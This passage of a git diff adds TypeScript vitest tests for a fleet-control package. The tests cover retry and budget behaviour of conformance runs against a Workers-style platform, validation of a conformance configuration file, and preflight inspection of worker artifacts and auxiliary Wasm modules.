+      if (kind === 'zone' && url.pathname === '/client/v4/zones/zone')
+        return json({
+          id: 'foreign',
+          name: 'example.test',
+          type: 'full',
+          account: { id: ACCOUNT },
+        });
+      if (
+        kind === 'subdomain' &&
+        url.pathname === `${f.root}/workers/subdomain`
+      )
+        return json({ subdomain: 'replacement' });
+      if (kind === 'active' && url.pathname.endsWith('/deployments'))
+        return json({
+          deployments: [{ ...f.deployment(), id: 'replacement' }],
+        });
+    });
+    const before = f.requests.length;
+    await expect(f.run()).rejects.toHaveProperty('code');
+    expect(
+      f.requests.slice(before).every((request) => request.method === 'GET'),
+    ).toBe(true);
+    expect(probes.generate).toHaveBeenCalledTimes(3);
+  });
+
+  it('re-delivers the bootstrap control-read after a platform 500 page on run and resume: two requests and one reservation per run', async () => {
+    const f = await fixture({ invocationTimeoutMs: 10_000 });
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const requests: string[] = [];
+    const fetchRequest: typeof fetch = async (input, init) => {
+      const request = new Request(input, init);
+      if (
+        new URL(request.url).hostname.endsWith('.workers.dev') &&
+        request.headers.has('authorization')
+      ) {
+        requests.push(await request.text());
+        if (requests.length % 2 === 1)
+          return new Response('error code: 1104', {
+            status: 500,
+            headers: { 'content-type': 'text/plain' },
+          });
+      }
+      return f.fetchRequest(input, init);
+    };
+    const first = f.run({ fetch: fetchRequest });
+    await vi.waitFor(() => expect(requests).toHaveLength(1));
+    await vi.advanceTimersByTimeAsync(2_000);
+    await first;
+    expect(requests).toHaveLength(2);
+    expect(requests[1]).toBe(requests[0]);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: { state: 'settled' },
+    });
+    await f.reopen();
+    const resumed = f.run({ fetch: fetchRequest });
+    await vi.waitFor(() => expect(requests).toHaveLength(3));
+    await vi.advanceTimersByTimeAsync(2_000);
+    await resumed;
+    expect(requests).toHaveLength(4);
+    expect(requests[3]).toBe(requests[2]);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 2,
+      lastInvocation: { state: 'settled' },
+    });
+  }, 15_000);
+
+  it('requires three consecutive exact refusals and restarts the count after a platform flap on run and resume', async () => {
+    const f = await fixture();
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const sleep = vi.fn(async (ms: number) => {
+      await vi.advanceTimersByTimeAsync(ms);
+    });
+    vi.mocked(invocation.awaitReferenceIngress).mockImplementation((input) =>
+      awaitReferenceIngress({ ...input, sleep }),
+    );
+    const sequence: string[] = [];
+    const fetchRequest: typeof fetch = async (input, init) => {
+      const request = new Request(input, init);
+      if (new URL(request.url).hostname.endsWith('.workers.dev')) {
+        if (!request.headers.has('authorization')) {
+          expect(f.journal.snapshot().invocationCount).toBe(
+            sequence.includes('control-read') ? 1 : 0,
+          );
+          expect(f.journal.snapshot().lastInvocation?.state).not.toBe(
+            'pending',
+          );
+          sequence.push('probe');
+          if (sequence.length === 2)
+            return new Response('<html>missing</html>', { status: 404 });
+        } else sequence.push('control-read');
+      }
+      return f.fetchRequest(input, init);
+    };
+    await f.run({ fetch: fetchRequest });
+    expect(sequence).toEqual([
+      'probe',
+      'probe',
+      'probe',
+      'probe',
+      'probe',
+      'control-read',
+    ]);
+    await f.reopen();
+    await f.run({ fetch: fetchRequest });
+    expect(sequence).toEqual([
+      'probe',
+      'probe',
+      'probe',
+      'probe',
+      'probe',
+      'control-read',
+      'probe',
+      'probe',
+      'probe',
+      'control-read',
+    ]);
+    expect(f.journal.snapshot().invocationCount).toBe(2);
+    expect(sleep.mock.calls).toEqual(Array.from({ length: 6 }, () => [2_000]));
+  });
+
+  it('refuses provider-unavailable when the ingress deadline allows only two exact refusals', async () => {
+    const f = await fixture();
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    vi.mocked(invocation.awaitReferenceIngress).mockImplementation((input) =>
+      awaitReferenceIngress({
+        ...input,
+        deadlineMs: 4_000,
+      }),
+    );
+    const probes: Request[] = [];
+    const fetchRequest: typeof fetch = async (input, init) => {
+      const request = new Request(input, init);
+      if (new URL(request.url).hostname.endsWith('.workers.dev'))
+        probes.push(request);
+      return f.fetchRequest(input, init);
+    };
+    const result = f
+      .run({ fetch: fetchRequest })
+      .catch((error: unknown) => error);
+    await vi.waitFor(() => expect(probes).toHaveLength(1));
+    await vi.advanceTimersByTimeAsync(4_000);
+    await expect(result).resolves.toMatchObject({
+      code: 'provider-unavailable',
+    });
+    expect(probes).toHaveLength(2);
+    expect(
+      probes.every((request) => !request.headers.has('authorization')),
+    ).toBe(true);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 0,
+      lastInvocation: null,
+    });
+  });
+
+  it('refuses an ingress readiness deadline with provider-unavailable and no invocation reserved', async () => {
+    const f = await fixture();
+    let probes = 0;
+    const fetchRequest: typeof fetch = async (input, init) => {
+      const request = new Request(input, init);
+      if (new URL(request.url).hostname.endsWith('.workers.dev')) {
+        expect(request.headers.has('authorization')).toBe(false);
+        probes++;
+        const elapsed = performance.now() + 120_000;
+        vi.spyOn(performance, 'now').mockReturnValue(elapsed);
+        return new Response('<html>missing</html>', { status: 404 });
+      }
+      return f.fetchRequest(input, init);
+    };
+    await expect(f.run({ fetch: fetchRequest })).rejects.toMatchObject({
+      code: 'provider-unavailable',
+      message: 'provider-unavailable',
+    });
+    expect(probes).toBe(1);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 0,
+      lastInvocation: null,
+      bootstrap: {
+        ingress: { enabled: true, previewsEnabled: false },
+        controlReadOrdinal: null,
+      },
+    });
+  });
+
+  it('spends the committed control-read budget and preserves known refusal settlement', async () => {
+    const f = await fixture({ limit: 1 });
+    f.setHook((_request, url) =>
+      url.hostname.endsWith('.workers.dev')
+        ? f.controlResponse(undefined, 503)
+        : undefined,
+    );
+    await expect(f.run()).rejects.toMatchObject({ code: 'reference-refused' });
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+    await f.reopen();
+    f.setHook(undefined);
+    await expect(f.run()).rejects.toMatchObject({
+      code: 'invocation-budget-exhausted',
+    });
+    expect(
+      f.requests.filter(
+        (request) =>
+          new URL(request.url).hostname.endsWith('.workers.dev') &&
+          request.headers.has('authorization'),
+      ),
+    ).toHaveLength(1);
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts
new file mode 100644
index 00000000..e6838346
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts
@@ -0,0 +1,352 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { execFileSync } from 'node:child_process';
+import { readFileSync } from 'node:fs';
+import { fileURLToPath } from 'node:url';
+import { describe, expect, it } from 'vitest';
+import {
+  deriveDirectConformanceNames,
+  validateDirectConformanceConfig,
+} from '../scripts/direct-credentialed-conformance-config.mjs';
+import { reserveApplicationR2Resources } from '../src/application-bindings.js';
+import { isDeploymentScriptName } from '../src/deployment-context.js';
+import { validateDeploymentSpec } from '../src/validation.js';
+import { buildPlainWorkerSpec } from './fixtures/plain-worker-harnesses.js';
+
+const EXAMPLE = new URL(
+  '../scripts/direct-credentialed-conformance.example.json',
+  import.meta.url,
+);
+const NOW = Date.parse('2026-09-09T12:00:00.000Z');
+
+function input(): Record<string, unknown> {
+  return JSON.parse(readFileSync(EXAMPLE, 'utf8')) as Record<string, unknown>;
+}
+
+function objectAt(value: Record<string, unknown>, path: readonly string[]) {
+  let target = value;
+  for (const part of path) target = target[part] as Record<string, unknown>;
+  return target;
+}
+
+function changed(path: readonly string[], value: unknown) {
+  const result = input();
+  const key = path.at(-1);
+  if (!key) throw new Error('test path needs a key');
+  objectAt(result, path.slice(0, -1))[key] = value;
+  return result;
+}
+
+function validate(value: unknown) {
+  return validateDirectConformanceConfig(value, { now: NOW });
+}
+
+describe('direct conformance configuration', () => {
+  it.each([
+    'referenceWorker',
+    'deployment',
+  ])('validates and freezes optional %s auxiliary Wasm descriptors', (role) => {
+    const descriptor = {
+      file: './my artifacts/fixture.wasm',
+      name: 'fixture.wasm',
+      sha256: 'a'.repeat(64),
+    };
+    const raw = changed([role, 'artifact', 'auxiliaryWasm'], [descriptor]);
+    const result = validate(raw);
+    const modules =
+      result[role as 'referenceWorker' | 'deployment'].artifact.auxiliaryWasm;
+    expect(modules).toEqual([descriptor]);
+    expect(Object.isFrozen(modules)).toBe(true);
+    expect(Object.isFrozen(modules?.[0])).toBe(true);
+    descriptor.file = 'changed';
+    expect(modules?.[0]?.file).toBe('./my artifacts/fixture.wasm');
+    for (const value of [
+      null,
+      {},
+      [{}],
+      [{ ...descriptor, name: '../fixture.wasm' }],
+      [{ ...descriptor, name: 'fixture.js' }],
+      [{ ...descriptor, sha256: 'bad' }],
+      [{ ...descriptor, secret: 'sentinel' }],
+      [descriptor, descriptor],
+    ])
+      expect(() =>
+        validate(changed([role, 'artifact', 'auxiliaryWasm'], value)),
+      ).toThrow(/auxiliaryWasm/);
+  });
+
+  it('validates the nonsecret example and keeps copied intent immutable', () => {
+    const raw = input();
+    const result = validate(raw);
+    expect(result.referenceWorker.requestTimeoutMs).toBe(30_000);
+    expect(result.referenceWorker.invocationTimeoutMs).toBe(600_000);
+    expect(result.referenceWorker.subrequestLimit).toBe(10_000);
+    expect(result.deployment.subrequestLimit).toBe(50);
+    for (const value of [
+      result,
+      result.referenceWorker,
+      result.referenceWorker.artifact,
+      result.referenceWorker.compatibilityFlags,
+      result.deployment,
+      result.deployment.spec,
+      result.deployment.artifact,
+    ])
+      expect(Object.isFrozen(value)).toBe(true);
+    objectAt(raw, ['referenceWorker']).cpuLimitMs = 1;
+    expect(result.referenceWorker.cpuLimitMs).toBe(30_000);
+  });
+
+  it('derives separate fixed-role resources that pass production spec validation', () => {
+    const config = validate(input());
+    const names = deriveDirectConformanceNames(config);
+    expect(names.referenceWorker).toBe(`${config.resourcePrefix}-reference`);
+    expect(names.exportBucket).toBe(`${config.resourcePrefix}-exports`);
+    expect(Object.keys(names.roles)).toEqual(['a', 'b', 'recovery']);
+    const scripts = new Set<string>();
+    for (const [role, values] of Object.entries(names.roles)) {
+      expect(Object.isFrozen(values)).toBe(true);
+      expect(isDeploymentScriptName(values.scriptName)).toBe(true);
+      expect(values.routeHostname).toBe(
+        `${config.resourcePrefix}-tenant-${role}.${config.ownedHostname}`,
+      );
+      expect(() =>
+        validateDeploymentSpec(
+          buildPlainWorkerSpec({
+            ...values,
+            environment: config.environment,
+          }),
+        ),
+      ).not.toThrow();
+      scripts.add(values.scriptName);
+      const resources = reserveApplicationR2Resources(
+        buildPlainWorkerSpec({
+          ...values,
+          environment: config.environment,
+          application: {
+            vars: [],
+            secrets: [],
+            r2Buckets: [{ name: 'PROBE_BUCKET' }],
+          },
+        }),
+      );
+      expect(
+        resources[0]?.bucketName.startsWith(`${config.resourcePrefix}-tenant-`),
+      ).toBe(true);
+      expect(resources[0]?.bucketName.length).toBeLessThanOrEqual(63);
+    }
+    for (const name of [
+      names.referenceWorker,
+      names.fleetDatabase,
+      names.quotaDatabase,
+      names.exportBucket,
+    ])
+      expect(name.startsWith(`${config.resourcePrefix}-tenant-`)).toBe(false);
+    expect(scripts.size).toBe(3);
+    expect(Object.isFrozen(names.roles)).toBe(true);
+  });
+
+  it.each([
+    [],
+    ['referenceWorker'],
+    ['referenceWorker', 'artifact'],
+    ['deployment'],
+    ['deployment', 'artifact'],
+    ['deployment', 'spec'],
+  ])('rejects unknown and missing keys at %j', (...path) => {
+    const extra = input();
+    objectAt(extra, path).unexpected = 'secret-sentinel';
+    expect(() => validate(extra)).toThrow(/direct conformance config/);
+    const missing = input();
+    const target = objectAt(missing, path);
+    const key = Object.keys(target)[0];
+    if (!key) throw new Error('test object needs a key');
+    delete target[key];
+    expect(() => validate(missing)).toThrow(/direct conformance config/);
+  });
+
+  it.each([
+    'dispatchNamespace',
+    'hostRoutingKvId',
+    'platformProfile',
+    'sharedOutboundWorkerName',
+    'maintenanceCapabilityPublicKey',
+    'apiToken',
+    'headers',
+    'databaseId',
+  ])('rejects %s without echoing supplied secret data', (key) => {
+    const raw = input();
+    raw[key] = 'secret-sentinel';
+    let caught: unknown;
+    try {
+      validate(raw);
+    } catch (error) {
+      caught = error;
+    }
+    expect(caught).toBeInstanceOf(Error);
+    expect(String(caught)).not.toContain('secret-sentinel');
+  });
+
+  it('rejects accessors before invoking them, symbols, classes and sparse arrays', () => {
+    let reads = 0;
+    const getter = input();
+    Object.defineProperty(getter, 'environment', {
+      enumerable: true,
+      get() {
+        reads += 1;
+        return 'conformance';
+      },
+    });
+    expect(() => validate(getter)).toThrow();
+    expect(reads).toBe(0);
+    const symbol = input();
+    Object.defineProperty(symbol, Symbol('hidden'), { value: 1 });
+    expect(() => validate(symbol)).toThrow();
+    class Config {}
+    expect(() => validate(Object.assign(new Config(), input()))).toThrow();
+    expect(() =>
+      validate(changed(['referenceWorker', 'compatibilityFlags'], Array(1))),
+    ).toThrow();
+  });
+
+  it.each([
+    [['contractVersion'], 2],
+    [['disposableAccount'], 'true'],
+    [['resourcePrefix'], 'fc-short'],
+    [['resourcePrefix'], 'fc0123456789ABCDEF01234567'],
+    [['environment'], '../production'],
+    [['interruption'], 'before-admission'],
+    [['deployment', 'spec', 'fixtureVersion'], 2],
+    [['referenceWorker', 'artifact', 'mainModule'], 'direct-run-manifest.js'],
+    [['deployment', 'artifact', 'mainModule'], '../worker.js'],
+    [['deployment', 'artifact', 'mainModule'], 'CON.js'],
+    [['deployment', 'artifact', 'sha256'], 'A'.repeat(64)],
+    [['deployment', 'artifact', 'bundle'], ''],
+  ] as const)('rejects invalid %j', (path, value) => {
+    expect(() => validate(changed(path, value))).toThrow();
+  });
+
+  it.each([
+    'https://example.test',
+    'EXAMPLE.test',
+    'example.test.',
+    '*.example.test',
+    'user@example.test',
+    'example.test:443',
+    'example.test/path',
+    'example.test?query',
+    'example.test#hash',
+    '127.0.0.1',
+    '[::1]',
+    'bad..example',
+    `${'a'.repeat(64)}.test`,
+    `${'a'.repeat(63)}.${'b'.repeat(63)}.${'c'.repeat(63)}.${'d'.repeat(40)}`,
+  ])('rejects noncanonical or overlong derived hostname %s', (host) => {
+    expect(() => validate(changed(['ownedHostname'], host))).toThrow();
+  });
+
+  it('accepts parsed native JSON semantics, null prototypes and local paths with spaces', () => {
+    const raw = Object.assign(Object.create(null), input());
+    objectAt(raw, ['deployment', 'artifact']).bundle =
+      './my artifacts/worker.mjs';
+    raw.disposableAccount = false;
+    const result = validate(raw);
+    expect(result.disposableAccount).toBe(false);
+    expect(result.deployment.artifact.bundle).toBe('./my artifacts/worker.mjs');
+  });
+
+  it.each([
+    'referenceWorker',
+    'deployment',
+  ])('checks %s dates and compatibility flags', (target) => {
+    for (const date of ['2026-08-03', '2026-09-31', '2026-09-10', '2026-8-06'])
+      expect(() =>
+        validate(changed([target, 'compatibilityDate'], date)),
+      ).toThrow();
+    for (const flags of [
+      ['unknown'],
+      ['nodejs_compat', 'nodejs_compat'],
+      ['global_fetch_strictly_public', 'global_fetch_strictly_public'],
+      ['global_fetch_strictly_public', 'nodejs_compat'],
+      [
+        'nodejs_compat',
+        'global_fetch_strictly_public',
+        'global_fetch_strictly_public',
+      ],
+      null,
+    ])
+      expect(() =>
+        validate(changed([target, 'compatibilityFlags'], flags)),
+      ).toThrow();
+    for (const flags of [
+      [],
+      ['nodejs_compat'],
+      ['global_fetch_strictly_public'],
+      ['nodejs_compat', 'global_fetch_strictly_public'],
+    ]) {
+      const raw = changed([target, 'compatibilityFlags'], flags);
+      if (
+        target === 'referenceWorker' &&
+        !flags.includes('global_fetch_strictly_public')
+      ) {
+        expect(() => validate(raw)).toThrow(
+          'direct conformance config has invalid referenceWorker.compatibilityFlags',
+        );
+      } else {
+        const result =
+          validate(raw)[target as 'referenceWorker' | 'deployment'];
+        expect(result.compatibilityFlags).toEqual(flags);
+        expect(Object.isFrozen(result.compatibilityFlags)).toBe(true);
+        flags.push('unknown');
+        expect(result.compatibilityFlags).not.toContain('unknown');
+      }
+    }
+    const leap = changed([target, 'compatibilityDate'], '2028-02-29');
+    expect(() =>
+      validateDirectConformanceConfig(leap, {
+        now: Date.parse('2028-03-01T00:00:00.000Z'),
+      }),
+    ).not.toThrow();
+  });
+
+  it.each([
+    ['referenceWorker', 'cpuLimitMs', 300_000],
+    ['deployment', 'cpuLimitMs', 300_000],
+    ['referenceWorker', 'subrequestLimit', 10_000_000],
+    ['deployment', 'subrequestLimit', 10_000_000],
+    ['referenceWorker', 'requestTimeoutMs', 2_147_483_647],
+    ['referenceWorker', 'invocationTimeoutMs', 2_147_483_647],
+    ['referenceWorker', 'maxInvocations', Number.MAX_SAFE_INTEGER],
+  ] as const)('checks %s.%s integer bounds', (target, key, maximum) => {
+    for (const value of [0, -1, 1.5, NaN, Infinity, null, '50', maximum + 1])
+      expect(() => validate(changed([target, key], value))).toThrow();
+    expect(() => validate(changed([target, key], 1))).not.toThrow();
+    expect(() => validate(changed([target, key], maximum))).not.toThrow();
+  });
+
+  it('uses the production inventory request-budget domain and a finite clock', () => {
+    for (const value of [0, 8, 1001, 9.5])
+      expect(() =>
+        validate(changed(['referenceWorker', 'maxProviderRequests'], value)),
+      ).toThrow();
+    for (const value of [9, 1000])
+      expect(() =>
+        validate(changed(['referenceWorker', 'maxProviderRequests'], value)),
+      ).not.toThrow();
+    expect(() =>
+      validateDirectConformanceConfig(input(), { now: NaN }),
+    ).toThrow(/clock/);
+  });
+
+  it('runs as a native Node configuration module without constructing a provider', () => {
+    const module = new URL(
+      '../scripts/direct-credentialed-conformance-config.mjs',
+      import.meta.url,
+    );
+    const code = `import {readFileSync} from 'node:fs'; import {validateDirectConformanceConfig} from ${JSON.stringify(module.href)}; const value=validateDirectConformanceConfig(JSON.parse(readFileSync(${JSON.stringify(fileURLToPath(EXAMPLE))},'utf8')),{now:${NOW}}); process.stdout.write(String(value.contractVersion));`;
+    expect(
+      execFileSync(process.execPath, ['--input-type=module', '-e', code], {
+        encoding: 'utf8',
+      }),
+    ).toBe('1');
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts
new file mode 100644
index 00000000..c4be6530
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts
@@ -0,0 +1,560 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { execFileSync } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import {
+  mkdir,
+  mkdtemp,
+  open,
+  readFile,
+  rm,
+  symlink,
+  writeFile,
+} from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  DIRECT_MANIFEST_MODULE,
+  DIRECT_MAX_UPLOAD_BYTES,
+  preflightDirectConformance,
+  readDirectConformanceConfig,
+} from '../scripts/direct-credentialed-conformance-preflight.mjs';
+
+// TypeScript's CommonJS namespace exposes createSourceFile as a non-configurable
+// getter: `vi.spyOn(ts, 'createSourceFile')` throws, so this seam mocks the
+// module. The source text identifies which artifact is being inspected; the
+// file name the script passes is a constant and cannot.
+const compiler = vi.hoisted(() => ({
+  failOnSource: null as string | null,
+  // The message the seam raises, distinctive enough for a test to assert that
+  // the compiler's own words never reach the caller.
+  sentinel: 'secret-sentinel Maximum call stack size exceeded',
+}));
+
+vi.mock('typescript', async (importOriginal) => {
+  const actual = await importOriginal<{
+    default: typeof import('typescript');
+  }>();
+  const createSourceFile = (
+    ...args: Parameters<typeof actual.default.createSourceFile>
+  ) => {
+    if (
+      compiler.failOnSource !== null &&
+      args[1].includes(compiler.failOnSource)
+    )
+      throw new RangeError(compiler.sentinel);
+    return actual.default.createSourceFile(...args);
+  };
+  return {
+    ...actual,
+    createSourceFile,
+    // Delegated rather than copied, so a namespace member the script starts
+    // using resolves against the live module instead of a snapshot of it.
+    default: new Proxy(actual.default, {
+      get: (target, key, receiver) =>
+        key === 'createSourceFile'
+          ? createSourceFile
+          : Reflect.get(target, key, receiver),
+    }),
+  };
+});
+
+const NOW = Date.parse('2026-09-09T12:00:00.000Z');
+const REFERENCE = `import manifest from './direct-run-manifest.js';
+export default {fetch() {return Response.json(manifest.contractVersion)}};`;
+const TENANT = `export class Maintenance {}
+export class Runner {}
+export default {fetch() {return new Response('fixture')}};`;
+const directories: string[] = [];
+
+function digest(value: string | Uint8Array) {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+async function fixture(reference = REFERENCE, tenant = TENANT) {
+  const directory = await mkdtemp(join(tmpdir(), 'fleet-direct-preflight-'));
+  directories.push(directory);
+  const config = JSON.parse(
+    await readFile(
+      new URL(
+        '../scripts/direct-credentialed-conformance.example.json',
+        import.meta.url,
+      ),
+      'utf8',
+    ),
+  );
+  const configPath = join(directory, 'config.json');
+  const referencePath = join(directory, 'reference artifact.mjs');
+  const tenantPath = join(directory, 'tenant artifact.mjs');
+  config.referenceWorker.artifact.bundle = './reference artifact.mjs';
+  config.referenceWorker.artifact.sha256 = digest(reference);
+  config.deployment.artifact.bundle = './tenant artifact.mjs';
+  config.deployment.artifact.sha256 = digest(tenant);
+  await writeFile(referencePath, reference);
+  await writeFile(tenantPath, tenant);
+  const save = () => writeFile(configPath, JSON.stringify(config));
+  await save();
+  return { directory, configPath, referencePath, tenantPath, config, save };
+}
+
+function prepare(configPath: string) {
+  return preflightDirectConformance({ configPath, now: NOW });
+}
+
+afterEach(async () => {
+  compiler.failOnSource = null;
+  vi.restoreAllMocks();
+  vi.unstubAllEnvs();
+  await Promise.all(
+    directories
+      .splice(0)
+      .map((path) => rm(path, { recursive: true, force: true })),
+  );
+});
+
+describe('direct artifact preflight', () => {
+  it('reads validated config before artifact creation while preflight still requires the bytes', async () => {
+    const f = await fixture();
+    await rm(f.referencePath);
+    const result = await readDirectConformanceConfig({
+      configPath: f.configPath,
+      now: NOW,
+    });
+    expect(result.configPath).toBe(f.configPath);
+    expect(result.configBytes).toEqual(await readFile(f.configPath));
+    expect(result.config).toEqual(f.config);
+    expect(Object.isFrozen(result)).toBe(true);
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      'reference artifact file',
+    );
+  });
+
+  it('accepts literal-template compatibility imports through the ordinary dependency check', async () => {
+    const f = await fixture(
+      `${REFERENCE}\nimport(\`node:buffer\`);`,
+      `${TENANT}\nimport(\`node:crypto\`);`,
+    );
+    await expect(prepare(f.configPath)).resolves.toBeDefined();
+  });
+
+  it.each([
+    './missing.js',
+    'undeclared-package',
+  ])('rejects a literal template tenant dependency %s', async (dependency) => {
+    const f = await fixture(REFERENCE, `${TENANT}\nimport(\`${dependency}\`);`);
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      /tenant artifact module inspection/,
+    );
+  });
+
+  it.each([
+    'reference',
+    'tenant',
+  ] as const)('rejects unresolved star exports for the %s role', async (role) => {
+    for (const external of [
+      'node:crypto',
+      'node:async_hooks',
+      'cloudflare:workers',
+    ]) {
+      const suffix = `\nexport * from '${external}';`;
+      const f = await fixture(
+        REFERENCE + (role === 'reference' ? suffix : ''),
+        TENANT + (role === 'tenant' ? suffix : ''),
+      );
+      await expect(prepare(f.configPath)).rejects.toThrow(/artifact/);
+    }
+  });
+
+  it.each([
+    'reference',
+    'tenant',
+  ] as const)('inspects a valid deep addition expression for the %s role', async (role) => {
+    const suffix = `\nconst sum=${'1+'.repeat(12_000)}1;`;
+    const f = await fixture(
+      REFERENCE + (role === 'reference' ? suffix : ''),
+      TENANT + (role === 'tenant' ? suffix : ''),
+    );
+    await expect(prepare(f.configPath)).resolves.toMatchObject({
+      manifest: { fixtureVersion: 1 },
+    });
+  });
+
+  it.each([
+    'reference',
+    'tenant',
+  ] as const)('contains compiler failures for the %s role', async (role) => {
+    const marker = `// overflow-${role}`;
+    compiler.failOnSource = marker;
+    const f = await fixture(
+      REFERENCE + (role === 'reference' ? `\n${marker}` : ''),
+      TENANT + (role === 'tenant' ? `\n${marker}` : ''),
+    );
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      `direct conformance preflight has invalid ${role} artifact module inspection`,
+    );
+    // `toThrow(string)` is a substring match, so the replacement message alone
+    // would also pass for a message that carried the compiler's words too.
+    await expect(prepare(f.configPath)).rejects.not.toThrow(/secret-sentinel/u);
+  });
+
+  it.each([
+    'reference',
+    'tenant',
+  ] as const)('refuses nesting past the bound for the %s role before the compiler runs', async (role) => {
+    const suffix = (depth: number) =>
+      `\nconst deep = ${'('.repeat(depth)}1${')'.repeat(depth)};`;
+    compiler.failOnSource = 'const deep =';
+    const admitted = await fixture(
+      REFERENCE + (role === 'reference' ? suffix(100) : ''),
+      TENANT + (role === 'tenant' ? suffix(100) : ''),
+    );
+    await expect(prepare(admitted.configPath)).rejects.toThrow(
+      `direct conformance preflight has invalid ${role} artifact module inspection`,
+    );
+    const refused = await fixture(
+      REFERENCE + (role === 'reference' ? suffix(600) : ''),
+      TENANT + (role === 'tenant' ? suffix(600) : ''),
+    );
+    await expect(prepare(refused.configPath)).rejects.toThrow(
+      `direct conformance preflight has invalid ${role} artifact nesting`,
+    );
+  });
+
+  it.each([
+    'reference',
+    'tenant',
+  ] as const)('admits nesting under the bound for the %s role', async (role) => {
+    const suffix = `\nconst deep = ${'('.repeat(100)}1${')'.repeat(100)};`;
+    const f = await fixture(
+      REFERENCE + (role === 'reference' ? suffix : ''),
+      TENANT + (role === 'tenant' ? suffix : ''),
+    );
+    await expect(prepare(f.configPath)).resolves.toMatchObject({
+      manifest: { fixtureVersion: 1 },
+    });
+  });
+
+  it('rejects a JSON import attribute for the generated JavaScript manifest', async () => {
+    const f = await fixture(
+      "import manifest from './direct-run-manifest.js' with {type:'json'}; export default {};",
+    );
+    await expect(prepare(f.configPath)).rejects.toThrow(/reference artifact/);
+  });
+
+  it('retains immutable exact UTF-8 snapshots and binds the generated upload module table', async () => {
+    const tenant = `\uFEFF${TENANT}\n// café 🦀`;
+    const f = await fixture(REFERENCE, tenant);
+    const result = await prepare(f.configPath);
+    expect(result.configSha256).toBe(digest(await readFile(f.configPath)));
+    expect(result.manifest.tenantModule.source).toBe(tenant);
+    expect(result.manifest.tenantModule.sha256).toBe(digest(tenant));
+    expect(result.referenceModules.map((module) => module.name)).toEqual([
+      'worker.js',
+      DIRECT_MANIFEST_MODULE,
+    ]);
+    const moduleTable = result.referenceModules.map((module) => {
+      const { name, contentType, byteLength, sha256 } = module;
+      const bytes =
+        'source' in module
+          ? Buffer.from(module.source)
+          : Buffer.from(module.base64, 'base64');
+      expect(byteLength).toBe(bytes.byteLength);
+      expect(sha256).toBe(digest(bytes));
+      expect(Object.isFrozen(result.referenceModules)).toBe(true);
+      return { name, contentType, byteLength, sha256 };
+    });
+    expect(result.referenceModuleSetSha256).toBe(
+      digest(JSON.stringify(moduleTable)),
+    );
+    expect(result.referenceUploadBytes).toBe(
+      moduleTable.reduce((sum, module) => sum + module.byteLength, 0),
+    );
+    const generated = result.referenceModules[1].source;
+    const manifest = JSON.parse(generated.slice('export default '.length, -2));
+    expect(manifest).toEqual(result.manifest);
+    expect(generated).not.toContain(f.directory);
+    expect(generated).not.toContain('artifact.mjs');
+    expect(generated).not.toContain(result.referenceModuleSetSha256);
+    const assertFrozen = (value: unknown): void => {
+      if (!value || typeof value !== 'object') return;
+      expect(Object.isFrozen(value)).toBe(true);
+      for (const child of Object.values(value)) assertFrozen(child);
+    };
+    assertFrozen(result);
+    await writeFile(f.referencePath, 'changed');
+    await writeFile(f.tenantPath, 'changed');
+    expect(result.referenceModules[0].source).toBe(REFERENCE);
+    expect(result.manifest.tenantModule.source).toBe(tenant);
+  });
+
+  it('retains checked auxiliary Wasm bytes for both uploads and their manifest identities', async () => {
+    const binary = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]);
+    const dependency = "import binary from './fixture.wasm';\n";
+    const f = await fixture(dependency + REFERENCE, dependency + TENANT);
+    await writeFile(join(f.directory, 'fixture.wasm'), binary);
+    for (const role of ['referenceWorker', 'deployment'])
+      f.config[role].artifact.auxiliaryWasm = [
+        {
+          file: './fixture.wasm',
+          name: 'fixture.wasm',
+          sha256: digest(binary),
+        },
+      ];
+    await f.save();
+    const result = await prepare(f.configPath);
+    const expected = {
+      name: 'fixture.wasm',
+      base64: binary.toString('base64'),
+      contentType: 'application/wasm',
+      byteLength: 8,
+      sha256: digest(binary),
+    };
+    expect(result.referenceModules[2]).toEqual(expected);
+    expect(result.manifest.tenantWasm).toEqual([expected]);
+    expect(Object.isFrozen(result.manifest.tenantWasm)).toBe(true);
+    expect(Object.isFrozen(result.referenceModules[2])).toBe(true);
+    const table = result.referenceModules.map(
+      ({ name, contentType, byteLength, sha256 }) => ({
+        name,
+        contentType,
+        byteLength,
+        sha256,
+      }),
+    );
+    expect(result.referenceModuleSetSha256).toBe(digest(JSON.stringify(table)));
+    expect(result.referenceUploadBytes).toBe(
+      table.reduce((sum, module) => sum + module.byteLength, 0),
+    );
+    await writeFile(join(f.directory, 'fixture.wasm'), 'changed');
+    expect(
+      Buffer.from(result.manifest.tenantWasm[0]?.base64 ?? '', 'base64'),
+    ).toEqual(binary);
+  });
+
+  it.each([
+    'missing',
+    'digest',
+    'format',
+    'aggregate-size',
+  ] as const)('rejects %s auxiliary Wasm', async (kind) => {
+    const f = await fixture();
+    const binary = Buffer.from(
+      kind === 'format' ? 'not a module' : [0, 97, 115, 109, 1, 0, 0, 0],
+    );
+    const path = join(f.directory, 'fixture.wasm');
+    if (kind !== 'missing') await writeFile(path, binary);
+    if (kind === 'aggregate-size') {
+      const handle = await open(path, 'w');
+      try {
